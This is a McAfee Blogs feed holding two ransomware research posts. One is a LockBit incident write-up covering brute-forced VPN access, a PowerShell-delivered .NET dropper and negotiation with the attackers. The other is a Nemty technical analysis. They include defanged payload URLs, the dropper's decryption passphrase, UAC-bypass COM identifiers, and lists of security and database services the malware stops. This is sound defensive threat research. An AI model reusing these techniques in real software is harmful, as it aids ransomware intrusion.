Marc Rivero Lopez – McAfee Blogs Securing Tomorrow. Today. Sat, 16 May 2020 09:53:03 +0000 en-US hourly 1 Marc Rivero Lopez – McAfee Blogs 32 32 Tales From the Trenches; a Lockbit Ransomware Story Fri, 01 May 2020 04:01:50 +0000 /blogs/?p=100159

In collaboration with Northwave As we highlighted previously across two blogs, targeted ransomware attacks have increased massively over the past months. In our first article, we discussed the growing pattern of targeted ransomware attacks where the primary infection stage is often an info-stealer kind of malware used to gain credentials/access to determine if the target would […]

The post Tales From the Trenches; a Lockbit Ransomware Story appeared first on McAfee Blogs.


In collaboration with Northwave

As we highlighted previously across two blogs, targeted ransomware attacks have increased massively over the past months. In our first article, we discussed the growing pattern of targeted ransomware attacks where the primary infection stage is often an info-stealer kind of malware used to gain credentials/access to determine if the target would be valuable for a ransomware attack. In the second part, we described the reconnaissance phase of an attacker that controls an infected host or a valid account to access a remote service. Many of them are using a similar manual modus operandi as we highlighted in the earlier blogs.

We believe there is real opportunity to learn from incident response cases and previous attacks, hence why this blog is dubbed ‘tales from the trenches’. In collaboration with Northwave, this article describes a real-life case of a targeted ransomware attack. During one of their recent incident responses, Northwave encountered a relatively new family of ransomware called LockBit performing a targeted attack. First sighted in late 2019, under the name .abcd virus, this piece of ransomware was more a revision than evolution when compared with earlier attacks. Like the previous posts in this blog series, we describe the different stages of the attack and recovery, including a thorough analysis of the ransomware and the attackers behind it.

In this blog we’ll cover:

LockBit Telemetry Map

We gathered telemetry through our McAfee Global Threat Intelligence GTI database on the different LockBit samples we analyzed in our research. The global spread is currently limited as this ransomware is relatively new and heavily targeted.

Figure 1: Telemetry map

Initial Access

As in all ransomware cases, the attacker has to gain initial access to the network somehow. In this particular case the attacker performed a brute force attack on a web server containing an outdated VPN service. Based on our research it took several days for the brute force to crack the password of the ‘Administrator’ account. With this account, belonging to the administrator group, the attacker immediately obtained the proverbial “keys to the kingdom” with all the necessary permissions to perform a successful attack. Unfortunately, this is not a unique case; external facing systems should always have multi-factor authentication enabled when possible. Besides, a security organization should have a least privilege strategy when it comes to accessing systems. Targeted ransomware attackers are successfully leveraging the “human factor” integrally. It is no longer the typical “end-user clicking on a malicious link” causing the complete lock-up of a company. The human factor in targeted ransomware attacks goes much deeper. Attackers successfully leverage weaknesses in security policy and misconfigurations across an entire organization; from end-user to Domain Administrator.

Infiltrating the Network

To infiltrate the network, the attacker had to take several steps to make sure the ransomware attack was successful. An attacker always wants to infect as many systems as possible to effectively halt the business process and urge the victim to pay the ransom.

Credentials & Privileges

As mentioned previously, the attacker was successful in guessing the password of the Administrator account using a brute force attack. With this, the attacker immediately had all the necessary privileges for deploying the ransomware successfully. In other cases, as we described in our second blog, the attacker often uses known post-exploitation frameworks, for privilege escalation, lateral movement and performing any additional actions on their objective. Since quite a few of these frameworks are readily available we often call this the “GitHubification” of attack tools. In this case however, the attacker could actually skip this step and continue with the network reconnaissance and deployment of the ransomware immediately, since a high privileged account was already compromised.

Lateral Movement

With the administrator-level account, the attacker used SMB to perform network reconnaissance, resulting in an overview of accessible hosts. Subsequently, the attacker used the internal Microsoft Remote Access Server (RAS) to access these systems using either the administrator or the LocalSystem account. The LocalSystem account is a built-in Windows account. It is the most authoritative account on a Windows local instance (more potent than any admin account). Using these accounts, the attacker owned these systems and could do anything they wanted, including turning off any end-point security products. Interestingly, both the lateral movement and the deployment of the ransomware was entirely automated.

Deployment of the Ransomware

This specific case was a classic hit and run. After gaining access to the initial system using the brute-forced administrator account, the attacker logged in and deployed the ransomware almost immediately. For the attacker, this was a relatively straightforward process since the ransomware spreads itself. The deployment of the ransomware on one single host remotely instructed the other hosts in the network to run the following PowerShell command:

Figure 2: PowerShell execution to download LockBit

This command retrieves a .png file from a website that has probably been compromised. There are two versions of the .png file, one for .NET version 4 and one for version 3.5. The PowerShell command checks which version it needs by getting the version number of the common language runtime that is running the current process. If this starts with ‘V4’, the .png for version 4 is downloaded; otherwise it downloads the .png for version 3.5 via the URLs below:

  • https://espet[.]se/images/rs35.png
  • https://espet[.]se/images/rs40.png

What is interesting in this case is that each distinct host downloads the ransomware itself. Hence, the attacker only needed access to one system with an account having enough privileges to automatically make all other hosts in the network download and execute it.

Malware Analysis

For our analysis, we will use the file found in our investigation, the details of which are:

  File name: rs35.png
SHA1 488e532e55100da68eaeee30ba342cc05810e296
SHA256 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75
size 546.00 KB
PDB c:\users\user\work\code\dotnet\regedit-64\regedit-64\obj\release\rs35.pdb
guid 84e7065-65fe-4bae-a122-f967584e31db

Technical Analysis

The file we found in our investigation was a dropper renamed as a .png file. When first opening the .png files we were expecting a real image file, with perhaps some steganography inside, but what we saw instead was the header of a portable executable, so no steganography pictures this time. The PE was compiled in Microsoft Visual C# v7.0 / Basic .NET, .NET executable -> Microsoft.

Figure 3: Static analysis of LockBit

Entropy-wise it seems quite tidy too, not showing any stray sections or big spikes in the graph. This behavior indicates that the writer of the malware did not use obfuscation.

Figure 4: Entropy analysis

Figure 5: Portex visualization of LockBit

This file is a .NET launcher. Examining the Main() function in the code shows that an array containing a particularly long AES encrypted base64 string (in the variable named ‘exeBuffer’) carries the executable for the actual ransomware.

Figure 6: .NET launcher buffer

This encrypted string is decrypted using the key ENCRYPTION29942. The first 32 bytes of the long ExeBuffer string are used as the salt in the encryption scheme, where ENCRYPTION29942 is the passphrase.

Figure 7: Launcher calls & functions

Remarkably, the script checks for the existence of vbc.exe on its designated host. Usually, this binary is a digitally signed executable from Microsoft; however, in this case, the malware uses it for process hollowing.

By statically analyzing the file we can spot the usage of:

  • NtUnmapViewOfSection
    • LockBit uses this API in order to unmap the original code in execution
  • NtWriteVirtualMemory
    • The malware writes the base address of the injected image into the PEB via NtWriteVirtualMemory
  • VirtualAllocEx
    • To allocate the space before injecting the malicious code

The VBC utility is the visual basic compiler for Windows and LockBit uses it to compile and execute the code on the fly directly in execution. If the vbc utility does not exist on the system, the malware downloads the original vbc.exe file from the same malicious URL as seen before. After executing vbc.exe, the malware replaces the objects in memory with the code for deploying the ransomware (as deduced from the exeBuffer).

Figure 8: If VBC does not exist, the launcher will download it

Payload Analysis

Analysis of the exeBuffer shows several appealing elements. It starts with a UAC Bypass via {3E5FC7F9-9A51-4367-9063-A120244FBEC7} exploiting the ICMLuaUtil elevated COM Interface-Object[1], as seen in other ransomware families like Trickbot and MedusaLocker.

Subsequently, the script uses another variant of the UAC Bypass. The CLSID {D2E7041B-2927-42fb-8E9F-7CE93B6DC937} refers to the ColorDataProxy COM Object which is classified as the same Bypass method in hfiref0x’s UACME #43[2].

In order to be stealthier, LockBit ransomware loads its modules dynamically instead of having them hardcoded in the IAT and uses LoadLibraryA. This method is employed to avoid detection by static engines.

Figure 9. Name of the modules in the code

In execution, the malware accesses the Service Manager using the function “OpenSCManagerA” and saves the handle. It checks if it fails the last error with the “GetLastError” function, against the error ERROR_ACCESS_DENIED.

Figure 10. Access to the Service Manager

Upon access to the Service Manager, LockBit creates a thread to manage services, terminate processes and delete the shadow volumes plus the contents of the recycle bin.

In this thread the malware has the name of services that it will try to manage hardcoded to try to make them more obfuscated:

Figure 11. Hardcoded service names

The list of services LockBit tries to stop are:

  • DefWatch (Symantec Antivirus)
  • ccEvtMgr (Norton AntiVirus Event Manager)
  • ccSetMgr (Common Client Settings Manager Service of Symantec)
  • SavRoam (Symantec Antivirus)
  • sqlserv
  • sqlagent
  • sqladhlp
  • Culserver
  • RTVscan (Symantec Antivirus Program)
  • sqlbrowser
  • QBIDPService (QuickBooksby Intuit.)
  • QuickBoooks.FCS (QuickBooksby Intuit.)
  • QBCFMonitorService (QuickBooksby Intuit.)
  • sqlwriter
  • msmdsrv (Microsoft SQL Server Analysis or Microsoft SQL Server)
  • tomcat6 (Apache Tomcat)
  • zhundongfangyu (this belongs to the 360 security product from Qihoo company)
  • vmware-usbarbitator64
  • vmware-converter
  • dbsrv12 (Creates, modifies, and deletes SQL Anywhere services.)
  • dbeng8 (Sybase’s Adaptive Server Anywhere version 8 database program)
  • wrapper (Java Service?)

If one of these services is found by the malware querying the status of it, with the function “QueryServiceStatusEx”, LockBit will get all the depending modules when correct and safe and it will stop the service with the function “ControlService”.

Figure 12. Stopping target service

LockBit will prepare Unicode obfuscated strings that contain a command to delete the shadow volumes and disable the protections in the next boot of the system.

Figure 13. Prepare the commands to delete shadow volumes and disable protections on boot

The malware has these strings in the rdata section, as widely observed in all malware families, and in its own code as show in the previous screenshots. The malware uses both strings.

During its execution, LockBit will create a snapshot of the processes running in the system and will search to see if certain processes are part of this list with the function “OpenProcess” and, in case the process is present, it will finish it with the “TerminateProcess” function.

The list of processes that LockBit will check are:

wxServer wxServerView
sqlservr RAgui
supervise Culture
RTVScan DefWatch
sqlbrowser winword
qbupdate QBCFMonitorService
axlbridge QBIDPService
httpd fdlauncher
MsDtSrvr tomcat6
zhudongfangyu vmware-usbarbitator64
vmware-converter dbsrv12

This “process check function” is performed through a trick using the “PathRemoveExtensionA” function and removing the .exe extension from the list. Using this technique, the check process is more obfuscated.

Figure 14. Remove extension and check the process name

In our analysis, we saw how the ransomware dynamically uses the function “IsWow64Process” to check if the victim OS is running a x64 system and then uses the functions “Wow64DisableWow64FsRedirection” and “Wow64RevertWow64FsResdirection”. If the malware can access the functions, it will use the first to destroy all shadow volumes and the protections of the OS in the next boot and, later, will recover the redirection with the other function. In the case that it cannot get these functions, LockBit will delete the shadow volume directly through the function “ShellExecuteA” or with the function “CreateProcessA”.

Deletion of files within the recycle bin is executed with the function “SHEmptyRecycleBinW”.

Figure 15. Delete the contents of the recycle bin

Static analysis of the sample shows that LockBit will check the machine to see if it has support for  AES instructions in the processor with the “cpuid” opcode.

Figure 16. Check for AES instruction support in the CPU

Another check made by the ransomware is for the existence of the SS2 set of instructions:

Figure 17. Check for SSE2 instructions in the CPU

After finishing this process, the malware will try to delete itself with the next command using “ShellExecuteExW”:

Image 18. Auto-deletion of the malware

The Ransom Note

The ransom note is rather compact because the author hardcoded the content right in the code without using any obfuscation or encryption. The text file containing the ransom note is created in every directory after encryption and called Restore-My-Files.txt.

Figure 19: Content that is placed in Restore-My-Files.txt

Victim Information Stored in the Registry Key

LockBit in execution will create two keys in the infected system with the values full and public.

Those keys are created in the following hive HKEY_CURRENT_USER\SOFTWARE\LockBit. The data stored in these keys belongs to the infected victim in order to be able to identify them in the future.

Figure 20: LockBit registry keys

Lastly, after finishing the encryption, the desktop wallpaper is changed to a message for the user, saying that LockBit encrypted the host.

Figure 21: LockBit wallpaper after encryption

LockBit Filemarker

Some of the ransomware we analyzed shares a common file marker across all the encrypted files in order to verify the origin. This digital marker can be used there in the control panel in order to verify that this was the ransomware that encrypted the files.

This is an example for the first version of LockBit, where file marker was using:

C8 41 D0 BE AB 3F 0D 59 7B BF CF 40 C8 81 63 CD

If we compare two encrypted files, we can spot how the file marker matches in both encrypted files:

Figure 22: File marker used by LockBit

SMB Spreading

Analyzing LockBit in our environment, we identified the possibility to spread locally in the same local network. Analyzing the network traffic, we spotted the use of multiple ARP requests to find other hosts in the same network segment.

Figure 23: LockBit ARP traffic captured in the analysis

If these ARP requests finally find a host alive, LockBit will start a legitimate SMB connection to be able to deploy the ransomware in other machines.

Figure 24: LockBit SMB traffic captured in the analysis

If the SMB connection is successful, LockBit will execute the following PowerShell command to download the .NET launcher that will decompress and execute LockBit in a new system:

LockBit Ransomware Evolution:

LockBit is new on the scene, but we noticed the authors added several new features and improved the ransomware several times. That means there is an active group behind it which is probably getting feedback on its actions. This is an example of the development cycle; this graph was extracted, analyzing statically all the internal functions and comparing them across the samples:

For this investigation, we found different LockBit versions with different features between them:

LockBit Version 1

This first version contains unique features compared to other versions we found in the wild.

These features are:

  • IPLO (IPLogger geolocalization service)
  • Persistence through the COM interface and the HIVE Current Version Run
  • A different extension used in the encrypted files
  • Debug file created for debugging purposes
  • HIGH CPU Usage in the encryption process
  • The reusage of a MUTEX observed in other ransomware families

IPLO.RU geo-localization service:

One of the interesting items we found was that LockBit tries to identify the victim’s geo-location, through the URL IPLO.RU, requesting a static TXT file in that service.

Figure 25: LockBit IPLO.RU geolocation traffic captured in the analysis

The communication to this page is through HTTPS; we intercepted the traffic to get the reply from the remote server:

Figure 26: SSL decrypted traffic

Analyzing statically the code in LockBit, we found that this URL is not resolved dynamically in execution; it is hardcoded in the binary:

Figure 27: Hardcoded URL of IPLO service

Creating persistence through Current version Run and COM task schedule:

There are many ways to gain persistence in a system. This first version of LockBit uses a task schedule through the COM interface to gain persistence.

Figure 28: Persistence using the COM interface

LockBit also uses a reboot persistence method by using the Windows registry hive:


Using the CurrentVersion\Run hive serves to survive the reboot if the system shuts down.

LockBit is actually using two persistence methods, CLSID and CurrentVersion\Run

.abcd extension used:

The first version of LockBit uses the .abcd extension every time it encrypts a file; this is a unique difference between this version and the other versions found.

Ransom note used:

LockBit in this first version used a different ransom note with a different message:

Figure 29: LockBit ransomware note

Debug file created in execution:

LockBit’s first version has some files that are skipped in the encryption process and every time it skips one it will create resultlog6.reg with the log information:

Figure 30: Debug file created by LockBit

High CPU usage:

We analyzed the performance of the encryption and we noted how LockBit uses the CPU heavily in the encryption process:

Figure 31: LockBit performance in execution

PhobosImposter static MUTEX used:

In October 2019, the community saw how PhobosImposter was using the mutex XO1XADpO01 in its executions and the same mutex is used by LockBit in this first version. We analyzed the base code of both samples and we did not find any code overlap but is a quite a random string to use casually.

This is the function used to create the mutex:

Figure 32. Creation and check of the hardcoded mutex

LockBit Version 2

This LockBit version came out with the following changes:

  • Appended extension changed
  • The debug function removed
  • Some of the samples came packed wither with UPX or a Delphi packer
  • One sample digitally signed

Appended extension changed:

For this version, LockBit started to append the extension .lockbit in all the encrypted files as a file marker:

Debug log function removed:

LockBit, in this new version, removed the functionality whereby it stored all the skipped files in the encryption process.

Sample delivery with different protections:

In this version we found LockBit samples packed in UPX and other custom packers, adding certain protections to the samples:

  • Extensive usage of PEB during the execution
  • The use of IsDebuggerPresent, OutputDebugString and GetLastError

All these protections are enabled by the use of packers in the delivery.

Mutex change:

The prior version of LockBit used a static mutex in all the encryptions but, in this release, it changed to be a dynamic value for every infection.

Samples digitally signed:

For all the versions we found for LockBit, only this version had a sample digitally signed:

Figure 33: LockBit sample digitally signed

LockBit Version 3

Ransomware note changed:

For this version LockBit adapted the ransomware note and used a new one:

Figure 34: LockBit 2nd version of the ransomware note

LockBit debug enabled:

After all the hunting progress we made, we found several samples of LockBit with some kind of status feature enabled, showing a progress window during the encryption:

Figure 35: LockBit debug enabled

This mode was only available for certain sample compilations and the status screen was different depending on the LockBit sample analyzed:

Figure 36: LockBit sample digitally signed

Tales from the Underground

When we researched the underground community for LockBit we came across a posting on several popular underground forums.  A threat actor named Lockbi or LockBit is offering LockBit as a “bespoke” ransomware as a service for limited partners/affiliates. We suspect LockBit ransomware to be more “bespoke”, not only from its own announcements, but subsequently we have not seen any affiliate identifiers present in the ransomware, which is normally a clear sign of an actor trying to upscale operations and service a larger number of affiliates.

The advertisement provides a general description that matches the LockBit behavior we have seen in the wild and from our analysis. As many other cyber-criminal services, LockBit does not allow the use of the software in any of the CIS countries. This is commonly done to avoid prosecution if the threat actor resides in one of those nations.

What we also noticed was a mention around multi-threading. Ransomware families are often programmed to run multi-threaded to ensure quick and overall encryption and prevent the encryption process getting stuck on a large file. However, LockBit was specifically advertised as single threaded and the threat actor Lockbi ensures that there are no speed issues when it comes to its encryption capability.

Figure 37: The LockBit advertisement

In the advertisement it is listed that one of the features of the ransomware is a local subnet scanner and SMB propagation method, something we can confirm based on our analysis.

Also noteworthy is the use of a Jabber-bot to perform the essential functions, such as chatting, decryption and banning, replacing the need for a labor intensive admin panel that is hosted somewhere on the internet.

Figure 38: LockBit profile including the 10,5 BTC deposit

It seems that LockBit has joined the underground scene with a clear determination to do business; the authors have put a down a deposit in excess of 10,5 BTC, a bit shy of 75K USD. Putting a deposit in escrow is a way to demonstrate that the seller is invested financially and not out to scam potential partners. The seller would lose their deposit if they did not keep to their end of the deal. Our telemetry shows that LockBit activity is still limited today but we can definitely expect to see more bespoke LockBit attacks in the near future.


Going back to the real-life case, there were no recent offline backups. So, with the backup servers (including the backups) encrypted as well and a complete rebuild not being an option, there was no way for a successful and swift recovery other than by paying the ransom.

Both McAfee’s and Northwave’s perspective is that ransoms should not be paid. Paying does not only support the criminal business model, but as we have shown in our research, it also finances other forms of crime, such as the online drug trade.

In this specific case the victim chose to pay the ransom. The first step for recovery was to get in contact with the hacker following the instructions from the ransom note (Restore-my-files.txt) as depicted below.

Figure 39: LockBit ransomware note

Interestingly, as opposed to earlier known cases of LockBit (or .abcd virus) where contact with the attacker occurred via email addresses mentioned in the ransom note, in this case, the attacker developed an online ‘help desk’ accessible via a .onion address. Helpful as the hacker is, they even provided clear instructions on how to access this .onion address with the Tor browser. Although the ransom note claims there was private data obtained, Northwave did not find any evidence for this on the compromised systems.

Figure 40: LockBit recovery page

The image above shows the helpdesk which the attacker uses for communication with their victims. It provides the functionality for a trial in which two files can be decrypted ‘for warranty’, showing that the attacker indeed has the correct key(s) for restoring the data. For this, it is always essential to test files from different (critical) servers since keys might differ per server. In negotiations with an attacker, always try to obtain this knowledge since it is also relevant for your recovery strategy. If it is only one key, you know you can use one tool for the entire network; however, if encrypted servers use distinct keys, recovery becomes increasingly more difficult.

After successful decryption of two different files (from distinct servers), the chat with the attacker began. They started by asking for a network domain name (to identify the correct victim), then the attacker addressed the ransom amount. Usually, the attackers do proper research on their victims and tailor the ransom amount accordingly, which was the case here as well. Hence, negotiating on the amount of the ransom did not prove to be useful:

“We know who you are, so don’t play negotiate games.”

Trouble in Hacker Paradise

Subsequently, making the bitcoin transaction to the provided address, the helpdesk page would automatically update after six confirmations and show the download link for the decryptor.

“After 6 transaction confirmations, in a few hours decryptor will be built automatically. Don’t worry you will get it instantly once it’s built.”

Since there was nothing else to do than wait and hope for the decryptor now, an attempt was made into obtaining some more information from the attacker by asking about their methods. See a snippet of this conversation below.

Figure 41: Attacker communication

The ‘weak passwords’ is, of course, entirely in line with the brute force attack mentioned earlier. Additionally, this conversation indicates that there is a larger group behind this attack, where roles between different participants are separated. The helpdesk seems to be an actual helpdesk, merely following a script of actions.

After waiting for several hours and six confirmations further, the decryption tool should have been ready for download. However, this is where things progressed differently. There seemed to be some technical issues causing the decryptor not to generate automatically for which the helpdesk kindly apologized. Unfortunately, this continued for two dubious days with multiple excuses before the attacker sent a link to the decryptor via the chat. It appeared that they were ineffective in solving the technical issues; hence they chose to send it via SendSpace.

Once downloaded, the recovery phase could start. In this phase, all servers were decrypted, scanned and cleaned (or rebuilt) in a quarantined network. Subsequently, after implementing the appropriate technical and security measures, each host joined a new clean network.


As we highlighted in the first two articles, targeted ransomware attacks have increased massively over the past months. Many of them are all using a similar, quite manual, attack pattern as we highlighted. In this article, we provided an in-depth view of a relatively new ransomware family named LockBit. Based on a real-life case as encountered by Northwave, we described a typical ransomware attack including the modus operandi of attackers, the recovery process, an insight in the underground that advertises the ransomware and a full technical break-down of the ransomware itself. Additionally, during our analysis, we were able to obtain multiple samples of the LockBit ransomware with which we could provide an extensive list of IOCs. McAfee will continue monitoring this threat.

Learn from the articles, identify which technology can give you visibility inside your network. What digital evidence sources do you have, and can you detect fast enough to preserve and respond? If you were not able to prevent the ‘initial access stage’, make sure to have a strong Defense-in-Depth by having multiple defence technologies in place. In case a ransomware attack does strike your organization, have a proper backup procedure in place to successfully restore operations on your own? For additional ransomware prevention tips please visit

To learn more about how McAfee products can defend against these types of attacks, visit see our blog on how ENS 10.7 Rolls Back the Curtain on Ransomware.


Technique ID Technique Description
T1107 File Deletion
T1055 Process Injection
T1112 Modify Registry
T1215 Kernel Modules and Extensions
T1060 Registry Run Keys / Start Folder
T1179 Hooking
T1055 Process Injection
T1179 Hooking
T1124 System Time Discovery
T1046 Network Service Scanning
T1083 File and Directory Discovery
T1016 System Network Configuration Discovery
T1012 Query Registry
T1082 System Information Discovery
T1057 Process Discovery
T1063 Security Software Discovery
T1047 Windows Management Instrumentation
T1035 Service Execution
T1075 Pass the Hash


SHA256 Compile TimeStamp
ffbb6c4d8d704a530bdd557890f367ad904c09c03f53fda5615a7208a0ea3e4d 1992:06:20
286bffaa9c81abfb938fe65be198770c38115cdec95865a241f913769e9bfd3f 2009:02:12
76a77def28acf51b2b7cdcbfaa182fe5726dd3f9e891682a4efc3226640b9c78 2009:02:12
faa3453ceb1bd4e5b0b10171eaa908e56e7275173178010fcc323fdea67a6869 2009:02:12
70cb1a8cb4259b72b704e81349c2ad5ac60cd1254a810ef68757f8c9409e3ea6 2019:11:29
ec88f821d22e5553afb94b4834f91ecdedeb27d9ebfd882a7d8f33b5f12ac38d 2019:12:01
13849c0c923bfed5ab37224d59e2d12e3e72f97dc7f539136ae09484cbe8e5e0 2019:12:11
6fedf83e76d76c59c8ad0da4c5af28f23a12119779f793fd253231b5e3b00a1a 2019:12:17
c8205792fbc0a5efc6b8f0f2257514990bfaa987768c4839d413dd10721e8871 2019:12:18
15a7d528587ffc860f038bb5be5e90b79060fbba5948766d9f8aa46381ccde8a 2020:01:23
0f5d71496ab540c3395cfc024778a7ac5c6b5418f165cc753ea2b2befbd42d51 2020:01:23
0e66029132a885143b87b1e49e32663a52737bbff4ab96186e9e5e829aa2915f 2020:01:23
410c884d883ebe2172507b5eadd10bc8a2ae2564ba0d33b1e84e5f3c22bd3677 2020:02:12
e3f236e4aeb73f8f8f0caebe46f53abbb2f71fa4b266a34ab50e01933709e877 2020:02:16
0f178bc093b6b9d25924a85d9a7dde64592215599733e83e3bbc6df219564335 2020:02:16
1b109db549dd0bf64cadafec575b5895690760c7180a4edbf0c5296766162f18 2020:02:17
26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739 2020:02:17
69d9dd7fdd88f33e2343fb391ba063a65fe5ffbe649da1c5083ec4a67c525997 2020:02:17
0a937d4fe8aa6cb947b95841c490d73e452a3cafcd92645afc353006786aba76 2020:02:17
1e3bf358c76f4030ffc4437d5fcd80c54bd91b361abb43a4fa6340e62d986770 2020:02:17
5072678821b490853eff0a97191f262c4e8404984dd8d5be1151fef437ca26db 2020:02:20
ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75 2020-02-20


The post Tales From the Trenches; a Lockbit Ransomware Story appeared first on McAfee Blogs.

]]> 0
Nemty Ransomware – Learning by Doing Thu, 02 Apr 2020 18:21:35 +0000 /blogs/?p=99427

Executive Summary The McAfee Advanced Threat Research Team (ATR) observed a new ransomware family named ‘Nemty’ on 20 August 2019. We are in an era where ransomware developers face multiple struggles, from the great work done by the security community to protect against their malware, to initiatives such as the No More Ransom project that […]

The post Nemty Ransomware – Learning by Doing appeared first on McAfee Blogs.


Executive Summary

The McAfee Advanced Threat Research Team (ATR) observed a new ransomware family named ‘Nemty’ on 20 August 2019.

We are in an era where ransomware developers face multiple struggles, from the great work done by the security community to protect against their malware, to initiatives such as the No More Ransom project that offer some victims a way to decrypt their files. Not only that, but the underground criminal community around such ransomware developers can also be hyper critical, calling out bad code and choosing not to purchase ransomware that is not professionally developed.

After one such developer, going by the name jsworm, announced Nemty on underground forums, we noted how the ransomware was not well received by some users in the criminal community. Certain sectors of that forum started to rebuke jsworm for technical decisions made about the functions in the ransomware, as well as the encryption mechanism used.

Jsworm replied to all the comments, adding evidence about how the critical statements made were wrong and showcased the value of their new versions. They also fixed some ugly bugs revealed by users in the forum:

One of the users in the forum highlighted a function for how Nemty detects extension dupes in a system, which needed to be re-written by the author:

Despite the shortcomings in their ransomware, the Nemty developers are still in the underground forum, releasing new samples and infecting users through their affiliate program.


Based on our telemetry, we have seen Nemty activity in these locations:

FIGURE 1. Telemetry Map

Nemty Technical Analysis

Nemty runs on a Ransomware-as-a-Service (RaaS) model. We’ve observed it being delivered using:

  • RIG Exploit Kit in September 2019
  • Paypal dummy sites
  • RDP attacks through affiliates in their campaigns
  • Botnet: Distributed through Phorpiex botnet in November 2019
  • Loader: SmokeBot

FIGURE 2. Nemty ransomware announcement

In the release announcement the Nemty developers offered two types of collaboration: affiliation or private partnership. We found two aliases advertising Nemty, one of which is jsworm, who is quite active in the forums and announces all the news and updates there.

This is the timeline of the operations performed by the Nemty crew:

We observed how the Nemty developers adopted some characteristics from other old ransomware families like the defunct Gandcrab. One example of this is the reuse and reference to a URL that leads to an image featuring Russian text and a picture of the Russian president, like Gandcrab had in its code.

FIGURE 3. Hardcoded URL inside the Nemty ransomware pointing to the same image as GandCrab

The Nemty authors released different versions of their ransomware. In this research article we will highlight how the first version works and the significant changes added in subsequent versions.

Hash:                    505c0ca5ad0552cce9e047c27120c681ddce127d13afa8a8ad96761b2487191b

Compile Time:    2019-08-20 19:13:54

Version:                1.0

The malware sample is a 32-bit binary. The packer and malware are written in the C/C++ language as the author announced on the underground forum.

The compilation date in the PE header is the 20th of August 2019.

FIGURE 4. EXEInfo Image

Nemty uses RunPE in execution, meaning it unpacks in memory before execution.

Analyzing the sample, we could find how the developer added certain protections to their code, such as:

  • Decrypting certain information in the memory only if the encryption process is working as planned
  • Clearing the memory after finishing some operations
  • Information sharing between different memory addresses, cleaning the previous memory space used

Ransomware Note Creation Process

In order to create the ransomware note, Nemty takes each string and saves it into memory. When the ransomware compiles all the required strings it will join them together to create the entire ransomware note. In this operation, Nemty will decrypt line by line, moving the data to another memory address and cleaning the previous one to leave the information only in the new memory space.

For the first version of Nemty, the encryption method was not applied consistently to all the strings, which is why it is possible to see some strings and spot part of the functionalities or juicy files from them.

FIGURE 5. Clear strings in Nemty

Nemty and the Logical Units

In execution, Nemty will check all the logical units available in the system, saving the information about them in a static list with the following information:

  • Type of unit
  • Available free space

Through the use of the Windows API, ‘GetDriveTypeA’, the ransomware will differentiate units between:

  • Removable
  • Fixed
  • Network

FIGURE 6. Checking the type of logic units

To check the free space available in the system, Nemty will use “GetDiskFreeSpaceExA”, again through the Windows API:

FIGURE 7. Checking free disk space

Extracting Public IP Address from the Victim

Since the first version, Nemty has implemented a functionality to extract the public IP address of the victim. The information is extracted through a request to the IPIFY service at These types of services are frequently used by RaaS to check the location where the victim was infected.

FIGURE 8. Nemty getting the public IP

The User-agent for some of the Nemty versions was the ‘Chrome’ string. The user-agent is hardcoded as a single string in the ransomware instead of using an original user-agent.

FIGURE 9. Getting the IP address of the victim machine

The IPIFY service is used to retrieve the public IP address of the victim and, with the extracted data, Nemty makes another connection to using the data previously obtained as an argument. The extracted IP address and country data is used later used as a part of the ransomware note creation.

FIGURE 10. Getting the country name strings based on the IP address

Victim Information Extraction

Nemty will extract the following information from the victim:

  • Username
    • Using the windows API GetUserNameA
  • Computer name
    • Using the windows API GetComputerNameA
  • Hardware profile
    • Using the windows API GetCurrentHwProfileA

With this data, the authors ensure that the infected victim is unique, which helps the RaaS operators quantify how many victims they were able to infect themselves or through the use of affiliates.

FIGURE 11. Get Username, Computer Name and Hardware Profile from the victim machine

Nemty 1.0, Wrongly Applying the Country Protection

RaaS families usually apply some protections to prevent infecting certain geographic regions. In the first version, Nemty still had this feature in development as our analysis showed that the ransomware did not check whether the victim belonged to any of the supposed blacklisted countries. During our analysis of ransomware it is quite usual to find functions that are still in development and are then incorporated in future versions.

If the detected country is in the blacklist, Nemty returns the string “true” and keeps it in the config. If the country is not found, the value of the field will be false.

FIGURE 12. Check the country name and return true or false string

Nemty Encryption Keys

Immediately after making this check, Nemty will decode, from base64, the value of the master key and keep it in a memory address to use later. In parallel, it will prepare a random string with a fixed size of 7 characters and use it with the string “_NEMTY_” to create the ransomware note with the specific extension used in the encrypted files. Nemty will create a pair of RSA keys, one public and one private, in this process.

FIGURE 13. Export public RSA and private keys

Within this operation, Nemty will encode those keys in base64:

FIGURE 14. Encode of RSA keys generated

After this encoding, Nemty will decode again the victim RSA public key and import it for later use.

FIGURE 15. Decoding of the RSA public key for later use

The same operation is again used but this time with the master RSA public key from the ransomware developers.

Nemty Encryption Keys

In the encryption process, with all the data collected from the user, Nemty will create their config file, all in memory. The config file is a JSON structured file with all the collected data and the AES key previously created. Regarding the key used, it is the same for all of the files, however Nemty uses a different IV for each file.

Nemty Configuration File:

An example of the information collected by Nemty and later used in the config file can be found below:

This is an example Nemty configuration file:

FIGURE 16. Nemty config file

The different fields for the configuration file are:

The configuration file will be saved on the disk encrypted with a RSA public key of 8192 bits and encoded in base64.

FIGURE 17. Crypt the config file and encode in base64

Nemty will get the username logged in the system through ‘SHGetFolderPathW’ and will save and encrypt it with the .nemty extension on that folder.

FIGURE 18. Getting the user’s root folder

FIGURE 19. Creation of the config file on the disk

Nemty Encryption Threads

For the encryption, Nemty will create a new thread per each logic unit found in the system in order to encrypt the files.

The method used to encrypt the files is similar to other RaaS families, getting all the files using the function ‘FindFirstFileW’ and ‘FindNextFileW. Nemty will avoid encrypting folders with the following names:

  • .
  • ..

The encryption process will also avoid using files with the following names:

FIGURE 20. Check of the blacklisted folder and file names

This check is done using the insensitive function “lstrcmpiW”. Where Nemty is encrypting a file it will try two combinations, one in lower case, one in uppercase.

The extensions checked are:


FIGURE 21. Check of the file extensions

If Nemty has successful checks, it will create a random IV and encrypt part of the file with the AES keys previously generated. It then begins the IV using the victim’s RSA public key and appends it to the encrypted file.

FIGURE 22. Write the crypted file and put the IV in it

Nemty will put the information required to decrypt the file in the encrypted part of it and then add the extension “.nemty” and continue with the next folder or file.

FIGURE 23. Renaming of the new file with the Nemty extension

After finishing the encryption process Nemty will use the function ‘WaitForSingleObjects’ and wait for all the pending threads. It will also download the Tor Browser and open a connection in the loopback with the configuration file.

As a final action, Nemty will execute the command prompt of the machine with the hardcoded word “cmd.exe” and open the ransomware note.

FIGURE 24. Opening the ransom note

